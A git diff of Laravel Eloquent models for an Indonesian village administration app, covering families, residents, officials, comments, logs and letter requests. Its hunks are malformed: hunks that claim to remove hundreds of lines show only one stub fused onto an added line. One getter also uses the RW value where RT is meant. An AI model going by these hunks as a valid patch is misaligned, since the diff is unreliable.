+ return $this->hasMany(LogKeluarga::class, 'id_kk', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Scope query untuk status keluarga
+ *
+ * @return Builder
+ */
+ public function scopeStatus()
+ {
+ return static::whereHas('kepalaKeluarga', static function ($query) {
+ $query->status()->where('kk_level', '1');
+ });
+ }
+
+ protected static function nomerKKSementara()
+ {
+ // buat jadi orm laravel
+ $digit = self::selectRaw('RIGHT(no_kk, 5) as digit')
+ ->where('no_kk', 'like', '0' . identitas('kode_desa') . '%')
+ ->where('no_kk', '!=', '0')
+ ->orderByRaw('RIGHT(no_kk, 5) DESC')
+ ->first()->digit ?? 0;
+
+ return (int) $digit + 1;
+ }
+}
diff --git a/app/Models/KeuanganManualRinci.php b/app/Models/KeuanganManualRinci.php
index 09ad64a71..3d0960c2c 100644
--- a/app/Models/KeuanganManualRinci.php
+++ b/app/Models/KeuanganManualRinci.php
@@ -1,481 +1,83 @@
- 'boolean',
+ ];
+
+ /**
+ * Scope query untuk enabled
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeEnabled($query, $value = 1)
+ {
+ return $query->where('enabled', $value);
+ }
+}
diff --git a/app/Models/Komentar.php b/app/Models/Komentar.php
index 5a5b614bd..9a9f2173d 100644
--- a/app/Models/Komentar.php
+++ b/app/Models/Komentar.php
@@ -1,393 +1,132 @@
- self::NOT_IN_ARTIKEL,
+ ];
+
+ /**
+ * The attributes that are mass assignable.
+ *
+ * @var array
+ */
+ protected $fillable = ['email', 'owner', 'subjek', 'komentar', 'tipe', 'status', 'id_artikel'];
+
+ /**
+ * Scope a query to only enable category.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopeEnable($query)
+ {
+ return $query->where('status', static::ACTIVE);
+ }
+
+ /**
+ * Scope query untuk tipe pesan masuk.
+ *
+ * @param Builder $query
+ * @param string $tipe
+ *
+ * @return Builder
+ */
+ public function scopeTipePesan($query, string $type)
+ {
+ $tipePesan = $type === 'masuk'
+ ? self::TIPE_MASUK
+ : self::TIPE_KELUAR;
+
+ return $query->where('tipe', $tipePesan);
+ }
+
+ /**
+ * Scope query untuk tipe pesan masuk.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopePesanPengguna($query)
+ {
+ // return $query->where('email', auth('jwt')->user()->penduduk->nik);
+ }
+}
diff --git a/app/Models/LogBackup.php b/app/Models/LogBackup.php
index 5051e62fb..68657090f 100644
--- a/app/Models/LogBackup.php
+++ b/app/Models/LogBackup.php
@@ -1,401 +1,86 @@
- 'datetime:Y-m-d H:i:s',
+ 'updated_at' => 'datetime:Y-m-d H:i:s',
+ 'downloaded_at' => 'datetime:Y-m-d H:i:s',
+ ];
+}
diff --git a/app/Models/LogKeluarga.php b/app/Models/LogKeluarga.php
index 9963b3fb6..db969ca4f 100644
--- a/app/Models/LogKeluarga.php
+++ b/app/Models/LogKeluarga.php
@@ -1,417 +1,98 @@
-belongsTo(Keluarga::class, 'id_kk', 'id')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+}
diff --git a/app/Models/LogPenduduk.php b/app/Models/LogPenduduk.php
index 084a4fedb..90f18b0fc 100644
--- a/app/Models/LogPenduduk.php
+++ b/app/Models/LogPenduduk.php
@@ -1,417 +1,138 @@
- 'Dokter',
+ 2 => 'Tenaga Kesehatan',
+ 3 => 'Kepolisian',
+ 4 => 'Lainnya',
+ ];
+
+ /**
+ * Static data penyebab kematian.
+ *
+ * @var array
+ */
+ public const PENYEBAB_KEMATIAN = [
+ 1 => 'Sakit biasa / tua',
+ 2 => 'Wabah Penyakit',
+ 3 => 'Kecelakaan',
+ 4 => 'Kriminalitas',
+ 5 => 'Bunuh Diri',
+ 6 => 'Lainnya',
+ ];
+
+ /**
+ * The table associated with the model.
+ *
+ * @var string
+ */
+ protected $table = 'log_penduduk';
+
+ /**
+ * The guarded with the model.
+ *
+ * @var array
+ */
+ protected $guarded = [];
+
+ protected $casts = [
+ 'tgl_lapor' => 'datetime:Y-m-d',
+ 'tgl_peristiwa' => 'datetime:Y-m-d',
+ ];
+
+ /**
+ * Get the post that owns the comment.
+ */
+ public function penduduk()
+ {
+ return $this->belongsTo(Penduduk::class, 'id_pend', 'id');
+ }
+
+ /**
+ * Getter penolong mati.
+ *
+ * @return string
+ */
+ public function getYangMenerangkanAttribute()
+ {
+ return static::PENOLONG_MATI[$this->penolong_mati] ?? '';
+ }
+
+ /**
+ * Getter penolong mati.
+ *
+ * @return string
+ */
+ public function getPenyebabKematianAttribute()
+ {
+ return static::PENYEBAB_KEMATIAN[$this->sebab] ?? '';
+ }
+}
diff --git a/app/Models/LogPerubahanPenduduk.php b/app/Models/LogPerubahanPenduduk.php
index 20a51bd94..25f63f75c 100644
--- a/app/Models/LogPerubahanPenduduk.php
+++ b/app/Models/LogPerubahanPenduduk.php
@@ -1,489 +1,84 @@
- 'datetime:Y-m-d H:i:s',
+ ];
+
+ /**
+ * The timestamps for the model.
+ *
+ * @var bool
+ */
+ public $timestamps = false;
+
+ /**
+ * The relations to eager load on every query.
+ *
+ * @var array
+ */
+ protected $with = ['penduduk'];
+
+ public function penduduk()
+ {
+ return $this->hasOne(Penduduk::class, 'id', 'id_pend');
+ }
+}
diff --git a/app/Models/LogRestoreDesa.php b/app/Models/LogRestoreDesa.php
index f5d6736cd..fc2d98be9 100644
--- a/app/Models/LogRestoreDesa.php
+++ b/app/Models/LogRestoreDesa.php
@@ -1,441 +1,63 @@
- 'boolean',
+ ];
+
+ public function formatSurat()
+ {
+ return $this->belongsTo(FormatSurat::class, 'id_format_surat');
+ }
+
+ public function penduduk()
+ {
+ return $this->belongsTo(Penduduk::class, 'id_pend');
+ }
+
+ public function pamong()
+ {
+ return $this->belongsTo(Pamong::class, 'id_pamong');
+ }
+
+ public function tolak()
+ {
+ return $this->hasMany(LogTolak::class, 'id_surat');
+ }
+
+ /**
+ * Scope query untuk pengguna.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopePengguna($query)
+ {
+ // return $query->where('id_pend', auth('jwt')->user()->penduduk->id);
+ }
+
+ /**
+ * Scope query untuk Status LogSurat
+ *
+ * @param mixed $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeStatus($query, $value = 1)
+ {
+ return $query->where('status', $value);
+ }
+
+ public function getFormatPenomoranSuratAttribute()
+ {
+ $thn = $this->tahun ?? date('Y');
+ $bln = $this->bulan ?? date('m');
+ $format_nomor_surat = ($this->formatSurat->format_nomor == '') ? setting('format_nomor_surat') : $this->formatSurat->format_nomor;
+
+ $format_nomor_surat = str_replace('[nomor_surat]', "{$this->no_surat}", $format_nomor_surat);
+ $array_replace = [
+ '[kode_surat]' => $this->formatSurat->kode_surat,
+ '[tahun]' => $thn,
+ '[bulan_romawi]' => bulan_romawi((int) $bln),
+ '[kode_desa]' => identitas()->kode_desa,
+ ];
+
+ return str_replace(array_keys($array_replace), array_values($array_replace), $format_nomor_surat);
+ }
+
+ public function getFileSuratAttribute()
+ {
+ if ($this->lampiran != null) {
+ return FCPATH . LOKASI_ARSIP . pathinfo($this->nama_surat, PATHINFO_FILENAME);
+ }
+ }
+}
diff --git a/app/Models/LogTolak.php b/app/Models/LogTolak.php
index e68578789..c2b336246 100644
--- a/app/Models/LogTolak.php
+++ b/app/Models/LogTolak.php
@@ -1,393 +1,61 @@
-attributes['foto'];
+
+ if (file_exists(FCPATH . $foto)) {
+ return $foto;
+ }
+
+ return null;
+ }
+
+ /**
+ * Getter untuk foto sedang.
+ *
+ * @return string
+ */
+ public function getFotoSedangAttribute()
+ {
+ $foto = LOKASI_FOTO_LOKASI . 'sedang_' . $this->attributes['foto'];
+
+ if (file_exists(FCPATH . $foto)) {
+ return $foto;
+ }
+
+ return null;
+ }
+}
diff --git a/app/Models/MediaSosial.php b/app/Models/MediaSosial.php
index 9d2c5e814..90235404c 100644
--- a/app/Models/MediaSosial.php
+++ b/app/Models/MediaSosial.php
@@ -1,417 +1,75 @@
- 'json',
+ ];
+}
diff --git a/app/Models/Modul.php b/app/Models/Modul.php
index 4941dde54..d137f124f 100644
--- a/app/Models/Modul.php
+++ b/app/Models/Modul.php
@@ -1,369 +1,90 @@
- 'boolean',
+ ];
+
+ /**
+ * Scope query untuk aktif
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeStatus($query, $value = 1)
+ {
+ return $query->where('aktif', $value);
+ }
+}
diff --git a/app/Models/Pamong.php b/app/Models/Pamong.php
index db67014bd..a37d68b54 100644
--- a/app/Models/Pamong.php
+++ b/app/Models/Pamong.php
@@ -1,377 +1,289 @@
-hasOne(Penduduk::class, 'id', 'id_pend')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasMany
+ */
+ public function jabatan()
+ {
+ return $this->hasOne(RefJabatan::class, 'id', 'jabatan_id');
+ }
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return \Illuminate\Database\Eloquent\Relations\hasMany
+ */
+ public function kehadiran()
+ {
+ return $this->hasMany(Kehadiran::class, 'pamong_id', 'pamong_id');
+ }
+
+ public function scopeSelectData($query)
+ {
+ $new_query = $query->select(['pamong_id', 'pamong_nama', 'jabatan_id', 'ref_jabatan.nama AS pamong_jabatan', 'ref_jabatan.jenis', 'pamong_nip', 'pamong_niap', 'pamong_ttd', 'pamong_ub', 'pamong_status', 'pamong_nik'])
+ ->selectRaw('IF(tweb_desa_pamong.id_pend IS NULL, tweb_desa_pamong.pamong_nama, tweb_penduduk.nama) AS pamong_nama')
+ ->selectRaw('IF(tweb_desa_pamong.id_pend IS NULL, tweb_desa_pamong.pamong_nik, tweb_penduduk.nik) AS pamong_nik')
+ ->leftJoin('tweb_penduduk', 'tweb_penduduk.id', '=', 'tweb_desa_pamong.id_pend')
+ ->leftJoin('ref_jabatan', 'ref_jabatan.id', '=', 'tweb_desa_pamong.jabatan_id');
+
+ if (ci_db()->field_exists('gelar_depan', 'tweb_desa_pamong')) {
+ $new_query = $new_query->selectRaw('gelar_depan')->selectRaw('gelar_belakang');
+ }
+
+ return $new_query;
+ }
+
+ /**
+ * Scope query untuk status pamong
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeStatus($query, $value = 1)
+ {
+ return $query->where('pamong_status', $value);
+ }
+
+ /**
+ * Scope query untuk kepala desa
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeKepalaDesa($query)
+ {
+ return $this->scopeSelectData($query)
+ ->where('jabatan_id', kades()->id)
+ ->where('pamong_status', StatusEnum::YA);
+ }
+
+ /**
+ * Scope query untuk sekretaris desa
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeSekretarisDesa($query)
+ {
+ return $this->scopeSelectData($query)
+ ->where('jabatan_id', sekdes()->id)
+ ->where('pamong_status', StatusEnum::YA);
+ }
+
+ /**
+ * Scope query untuk Penanda Tangan
+ *
+ * Ket :
+ * - a.n => untuk sekretaris yang dipilih
+ * - u.b => untuk pamong selain kades dan sekretaris yang dipilih
+ *
+ * @param Builder $query
+ * @param mixed $value
+ * @param mixed|null $jenis
+ *
+ * @return Builder
+ */
+ public function scopeTtd($query, $jenis = null)
+ {
+ if ($jenis === 'a.n') {
+ $query->where('pamong_ttd', 1)->where('jabatan_id', sekdes()->id);
+ } elseif ($jenis === 'u.b') {
+ $query->where('pamong_ub', 1)->whereNotIn('jabatan_id', RefJabatan::getKadesSekdes());
+ }
+
+ return $this->scopeSelectData($query)
+ ->where('pamong_status', StatusEnum::YA);
+ }
+
+ /**
+ * Scope query untuk daftar penanda tangan
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopePenandaTangan($query)
+ {
+ return $this->scopeSelectData($query)
+ ->where(static function ($query) {
+ $query->whereIn('jabatan_id', RefJabatan::getKadesSekdes())
+ ->orWhere('pamong_ttd', '1')
+ ->orWhere('pamong_ub', '1');
+ })
+ ->where('pamong_status', StatusEnum::YA)
+ ->orderBy('jenis')
+ ->orderBy('urut');
+ }
+
+ public function scopeKehadiranPamong($query)
+ {
+ return $query
+ ->leftJoin('kehadiran_perangkat_desa as k', 'tweb_desa_pamong.pamong_id', '=', 'k.pamong_id')
+ ->leftJoin('kehadiran_pengaduan as p', 'tweb_desa_pamong.pamong_id', '=', 'p.id_pamong');
+ }
+
+ /**
+ * Scope query untuk daftar kehadiran pamong
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeDaftar($query, $value = 1)
+ {
+ return $query->aktif()
+ ->where('kehadiran', $value);
+ }
+
+ /**
+ * Getter status pamong_nama attribute.
+ *
+ * @return string
+ */
+ public function getPamongNamaAttribute()
+ {
+ if ($this->attributes['id_pend'] != null) {
+ $pamong_nama = $this->penduduk->nama;
+ } else {
+ $pamong_nama = $this->attributes['pamong_nama'];
+ }
+
+ if ($this->gelar_depan) {
+ $pamong_nama = $this->gelar_depan . ' ' . $pamong_nama;
+ }
+
+ if ($this->gelar_belakang) {
+ $pamong_nama = $pamong_nama . ', ' . $this->gelar_belakang;
+ }
+
+ return $pamong_nama;
+ }
+
+ /**
+ * Scope query untuk pamong yang aktif
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopeAktif($query)
+ {
+ return $query->where('pamong_status', StatusEnum::YA);
+ }
+
+ /**
+ * Scope query untuk pamong kecuali yang sudah digunakan di user
+ *
+ * @param Builder $query
+ * @param mixed $id
+ *
+ * @return Builder
+ */
+ public function scopeBukanPengguna($query, $id = '')
+ {
+ return $query->whereNotIn('pamong_id', static function ($q) use ($id) {
+ if ($id) {
+ return $q->select(['pamong_id'])->where('id', '!=', $id)->whereNotNull('pamong_id')->from('user');
+ }
+
+ return $q->select(['pamong_id'])->whereNotNull('pamong_id')->from('user');
+ });
+ }
+}
diff --git a/app/Models/Paud.php b/app/Models/Paud.php
index cb2629227..2447f6f74 100644
--- a/app/Models/Paud.php
+++ b/app/Models/Paud.php
@@ -1,361 +1,93 @@
-belongsTo(KIA::class, 'kia_id');
+ }
+
+ public function scopeFilter($query, array $filters)
+ {
+ if (! empty($filters['tahun'])) {
+ $query->whereYear('sasaran_paud.created_at', $filters['tahun']);
+ }
+
+ if (! empty($filters['posyandu'])) {
+ $query->where('posyandu_id', $filters['posyandu']);
+ }
+
+ return $query;
+ }
+}
diff --git a/app/Models/Pekerjaan.php b/app/Models/Pekerjaan.php
index b94533eb4..d2ba756fd 100644
--- a/app/Models/Pekerjaan.php
+++ b/app/Models/Pekerjaan.php
@@ -1,401 +1,50 @@
-hasMany(PembangunanDokumentasi::class, 'id_pembangunan');
+ }
+
+ public function wilayah()
+ {
+ return $this->hasOne(Wilayah::class, 'id', 'id_lokasi');
+ }
+
+ /**
+ * Get the lokasi.
+ *
+ * @return string
+ */
+ public function getlokasiPembAttribute()
+ {
+ if ($this->lokasi == null) {
+ return 'Dusun ' . $this->wilayah->dusun . (($this->wilayah->rw != 0) ? " - Rw {$this->wilayah->rw}" : '') . (($this->wilayah->rt != 0) ? "/RT {$this->wilayah->rw}" : '');
+ }
+
+ return $this->lokasi;
+ }
+}
diff --git a/app/Models/PembangunanDokumentasi.php b/app/Models/PembangunanDokumentasi.php
index a7ab60b39..bfc011588 100644
--- a/app/Models/PembangunanDokumentasi.php
+++ b/app/Models/PembangunanDokumentasi.php
@@ -1,505 +1,59 @@
-belongsTo(Pembangunan::class, 'id_pembangunan', 'id');
+ }
+}
diff --git a/app/Models/Pendidikan.php b/app/Models/Pendidikan.php
index a5a8ad151..204505380 100644
--- a/app/Models/Pendidikan.php
+++ b/app/Models/Pendidikan.php
@@ -1,409 +1,50 @@
- 'RS/RB',
+ 2 => 'Puskesmas',
+ 3 => 'Polindes',
+ 4 => 'Rumah',
+ 5 => 'Lainnya',
+ ];
+
+ /**
+ * Static data jenis kelahiran.
+ *
+ * @var array
+ */
+ public const JENIS_KELAHIRAN = [
+ 1 => 'Tunggal',
+ 2 => 'Kembar 2',
+ 3 => 'Kembar 3',
+ 4 => 'Kembar 4',
+ ];
+
+ /**
+ * Static data penolong kelahiran.
+ *
+ * @var array
+ */
+ public const PENOLONG_KELAHIRAN = [
+ 1 => 'Dokter',
+ 2 => 'Bidan Perawat',
+ 3 => 'Dukun',
+ 4 => 'Lainnya',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $table = 'tweb_penduduk';
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $fillable = [
+ 'email',
+ 'telepon',
+ 'telegram',
+ 'hubung_warga',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $appends = [
+ 'usia',
+ 'alamat_wilayah',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $with = [
+ 'jenisKelamin',
+ 'agama',
+ 'pendidikan',
+ 'pendidikanKK',
+ 'pekerjaan',
+ 'wargaNegara',
+ 'golonganDarah',
+ 'cacat',
+ 'statusKawin',
+ 'pendudukStatus',
+ 'wilayah',
+ 'keluarga',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $casts = [
+ 'tanggallahir' => 'datetime:Y-m-d',
+ ];
+
+ /**
+ * The guarded with the model.
+ *
+ * @var array
+ */
+ protected $guarded = [];
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return HasOne
+ */
+ public function mandiri()
+ {
+ return $this->hasOne(PendudukMandiri::class, 'id_pend')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return HasOne
+ */
+ public function kia_ibu()
+ {
+ return $this->hasOne(KIA::class, 'ibu_id')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define a one-to-one relationship.
+ *
+ * @return HasOne
+ */
+ public function kia_anak()
+ {
+ return $this->hasOne(KIA::class, 'anak_id')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function jenisKelamin()
+ {
+ return $this->belongsTo(Sex::class, 'sex')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function agama()
+ {
+ return $this->belongsTo(Agama::class, 'agama_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function pendidikan()
+ {
+ return $this->belongsTo(Pendidikan::class, 'pendidikan_sedang_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function pendidikanKK()
+ {
+ return $this->belongsTo(PendidikanKK::class, 'pendidikan_kk_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function pekerjaan()
+ {
+ return $this->belongsTo(Pekerjaan::class, 'pekerjaan_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function wargaNegara()
+ {
+ return $this->belongsTo(WargaNegara::class, 'warganegara_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function golonganDarah()
+ {
+ return $this->belongsTo(GolonganDarah::class, 'golongan_darah_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function cacat()
+ {
+ return $this->belongsTo(Cacat::class, 'cacat_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function sakitMenahun()
+ {
+ return $this->belongsTo(SakitMenahun::class, 'sakit_menahun_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function kb()
+ {
+ return $this->belongsTo(KB::class, 'cara_kb_id')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function statusKawin()
+ {
+ return $this->belongsTo(StatusKawin::class, 'status_kawin')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function pendudukHubungan()
+ {
+ return $this->belongsTo(PendudukHubungan::class, 'kk_level')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function pendudukStatus()
+ {
+ return $this->belongsTo(PendudukStatus::class, 'status')->withDefault();
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function keluarga()
+ {
+ return $this->belongsTo(Keluarga::class, 'id_kk')->withDefault()->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function rtm()
+ {
+ return $this->belongsTo(Rtm::class, 'id_rtm', 'no_kk')->withDefault()->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function Wilayah()
+ {
+ return $this->belongsTo(Wilayah::class, 'id_cluster')->withoutGlobalScope('App\Scopes\ConfigIdScope');
+ }
+
+ /**
+ * Define a one-to-many relationship.
+ *
+ * @return HasMany
+ */
+ public function dokumen()
+ {
+ return $this->hasMany(Dokumen::class, 'id_pend')->select('id', 'id_pend', 'nama', 'id_syarat', 'tgl_upload')->with(['jenisDokumen'])->hidup();
+ }
+
+ /**
+ * Getter wajib ktp attribute.
+ *
+ * @return string
+ */
+ public function getWajibKTPAttribute()
+ {
+ return (($this->tanggallahir->age > 16) || (! empty($this->status_kawin) && $this->status_kawin != 1))
+ ? 'WAJIB KTP'
+ : 'BELUM';
+ }
+
+ /**
+ * Getter tempat dilahirkan attribute.
+ *
+ * @return string
+ */
+ public function getDiLahirkanAttribute()
+ {
+ return static::TEMPAT_LAHIR[$this->tempat_dilahirkan]
+ ?? '';
+ }
+
+ /**
+ * Getter jenis lahir attribute.
+ *
+ * @return string
+ */
+ public function getJenisLahirAttribute()
+ {
+ return static::JENIS_KELAHIRAN[$this->jenis_kelahiran]
+ ?? '';
+ }
+
+ /**
+ * Getter jenis lahir attribute.
+ *
+ * @return string
+ */
+ public function getPenolongLahirAttribute()
+ {
+ return static::PENOLONG_KELAHIRAN[$this->penolong_kelahiran]
+ ?? '';
+ }
+
+ /**
+ * Getter status perkawinan attribute.
+ *
+ * @return string
+ */
+ public function getStatusPerkawinanAttribute()
+ {
+ return ! empty($this->status_kawin) && $this->status_kawin != 2
+ ? $this->statusKawin->nama
+ : (
+ empty($this->akta_perkawinan)
+ ? 'KAWIN BELUM TERCATAT'
+ : 'KAWIN TERCATAT'
+ );
+ }
+
+ /**
+ * Getter status hamil attribute.
+ *
+ * @return string
+ */
+ public function getStatusHamilAttribute()
+ {
+ return empty($this->hamil) ? 'TIDAK HAMIL' : 'HAMIL';
+ }
+
+ /**
+ * Getter nama asuransi attribute.
+ *
+ * @return string
+ */
+ public function getNamaAsuransiAttribute()
+ {
+ return ! empty($this->id_asuransi) && $this->id_asuransi != 1
+ ? (($this->id_asuransi == 99)
+ ? "Nama/No Asuransi : {$this->no_asuransi}"
+ : "No Asuransi : {$this->no_asuransi}")
+ : '';
+ }
+
+ /**
+ * Getter url foto attribute.
+ *
+ * @return string
+ */
+ public function getUrlFotoAttribute()
+ {
+ // try {
+ // return Storage::disk('ftp')->exists("desa/upload/user_pict/{$this->foto}")
+ // ? Storage::disk('ftp')->url("desa/upload/user_pict/{$this->foto}")
+ // : null;
+ // } catch (Exception $e) {
+ // Log::error($e);
+ // }
+ }
+
+ /**
+ * Scope query untuk status penduduk
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopeStatus($query, $value = 1)
+ {
+ return $query->where('status_dasar', $value);
+ }
+
+ public function scopeHubungWarga($query)
+ {
+ return $query->select(['id', 'nama', 'telepon', 'email', 'telegram', 'hubung_warga'])
+ ->whereNotNull('telepon')
+ ->orWhereNotNull('email')
+ ->orWhereNotNull('telegram')
+ ->status();
+ }
+
+ /**
+ * Scope query untuk menyaring data penduduk berdasarkan parameter yang ditentukan
+ *
+ * @param Builder $query
+ * @param mixed $value
+ *
+ * @return Builder
+ */
+ public function scopefilters($query, array $filters = [])
+ {
+ foreach ($filters as $key => $value) {
+ $query->when($value ?? false, static function ($query) use ($value, $key) {
+ $query->where($key, $value);
+ });
+ }
+
+ return $query;
+ }
+
+ public function getUsiaAttribute()
+ {
+ $tglSekarang = Carbon::now();
+ $tglLahir = Carbon::parse($this->tanggallahir);
+
+ return $tglLahir->diffInYears($tglSekarang) . ' Tahun';
+ }
+
+ public function getUmurAttribute()
+ {
+ $tglSekarang = Carbon::now();
+ $tglLahir = Carbon::parse($this->tanggallahir);
+
+ return $tglLahir->diffInYears($tglSekarang);
+ }
+
+ public function getAlamatWilayahAttribute()
+ {
+ if (! in_array($this->id_kk, [0, null])) {
+ return $this->keluarga->alamat . ' RT ' . $this->keluarga->wilayah->rt . ' / RW ' . $this->keluarga->wilayah->rw . ' ' . ucwords(setting('sebutan_dusun') . ' ' . $this->keluarga->wilayah->dusun);
+ }
+
+ return $this->alamat_sekarang . ' RT ' . $this->wilayah->rt . ' / RW ' . $this->wilayah->rw . ' ' . ucwords(setting('sebutan_dusun') . ' ' . $this->wilayah->dusun);
+ }
+
+ public function scopeKepalaKeluarga($query)
+ {
+ return $query->where(['kk_level' => SHDKEnum::KEPALA_KELUARGA]);
+ }
+}
diff --git a/app/Models/PendudukAsuransi.php b/app/Models/PendudukAsuransi.php
index ee5318301..331d8d257 100644
--- a/app/Models/PendudukAsuransi.php
+++ b/app/Models/PendudukAsuransi.php
@@ -1,457 +1,50 @@
-where('aktif', $value);
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function penduduk()
+ {
+ return $this->belongsTo(Penduduk::class, 'id_pend');
+ }
+
+ /**
+ * Define an inverse one-to-one or many relationship.
+ *
+ * @return BelongsTo
+ */
+ public function dokumen()
+ {
+ return $this->belongsTo(Dokumen::class, 'id_pend');
+ }
+
+ /**
+ * Get email penduduk attribute.
+ *
+ * @return string
+ */
+ public function getEmailAttribute()
+ {
+ return $this->penduduk->email;
+ }
+}
diff --git a/app/Models/PendudukStatus.php b/app/Models/PendudukStatus.php
index b74941b12..47e767963 100644
--- a/app/Models/PendudukStatus.php
+++ b/app/Models/PendudukStatus.php
@@ -1,441 +1,48 @@
- 'date:Y-m-d H:i:s',
+ 'updated_at' => 'date:Y-m-d H:i:s',
+ ];
+}
diff --git a/app/Models/PermohonanSurat.php b/app/Models/PermohonanSurat.php
index 5e088884e..a8101694a 100644
--- a/app/Models/PermohonanSurat.php
+++ b/app/Models/PermohonanSurat.php
@@ -1,449 +1,158 @@
- 'Belum Lengkap',
+ self::SEDANG_DIPERIKSA => 'Sedang Diperiksa',
+ self::MENUNGGU_TANDA_TANGAN => 'Menunggu Tandatangan',
+ self::SIAP_DIAMBIL => 'Siap Diambil',
+ self::SUDAH_DIAMBIL => 'Sudah Diambil',
+ self::DIBATALKAN => 'Dibatalkan',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $table = 'permohonan_surat';
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $fillable = [
+ 'id_pemohon',
+ 'id_surat',
+ 'isian_form',
+ 'alasan',
+ 'keterangan',
+ 'status',
+ 'no_hp_aktif',
+ 'syarat',
+ 'alasan',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $casts = [
+ 'isian_form' => 'json',
+ 'syarat' => 'json',
+ ];
+
+ /**
+ * {@inheritDoc}
+ */
+ protected $with = ['surat', 'penduduk'];
+
+ /**
+ * Getter untuk mapping status permohonan.
+ *
+ * @return string
+ */
+ public function getStatusPermohonanAttribute()
+ {
+ return static::STATUS_PERMOHONAN[$this->status];
+ }
+
+ /**
+ * Getter untuk mapping syartsurat permohonan.
+ *
+ * @return string
+ */
+ public function getSyaratSuratAttribute()
+ {
+ if ($this->syarat == null) {
+ return null;
+ }
+
+ $dokumen = Dokumen::where('id_pend', $this->id_pemohon)->whereIn('id', $this->syarat)->get();
+
+ return $dokumen->map(static function ($syarat) {
+ $syarat->nama_syarat = $syarat->jenisDokumen->ref_syarat_nama;
+
+ return $syarat;
+ });
+ }
+
+ /**
+ * Setter untuk id surat permohonan.
+ *
+ * @return void
+ */
+ public function setIdSuratAttribute(string $slug)
+ {
+ $this->attributes['id_surat'] = FormatSurat::where('url_surat', $slug)->first()->id;
+ }
+
+ /**
+ * Scope query untuk pengguna.
+ *
+ * @param Builder $query
+ *
+ * @return Builder
+ */
+ public function scopePengguna($query)
+ {
+ // return $query->where('id_pemohon', auth('jwt')->user()->penduduk->id);
+ }
+
+ public function penduduk()
+ {
+ return $this->belongsTo(Penduduk::class, 'id_pemohon');
+ }
+
+ public function surat()
+ {
+ return $this->belongsTo(FormatSurat::class, 'id_surat');
+ }
+}
diff --git a/app/Models/Persil.php b/app/Models/Persil.php
index 7db42d902..47ad75ac3 100644
--- a/app/Models/Persil.php
+++ b/app/Models/Persil.php
@@ -1,377 +1,61 @@
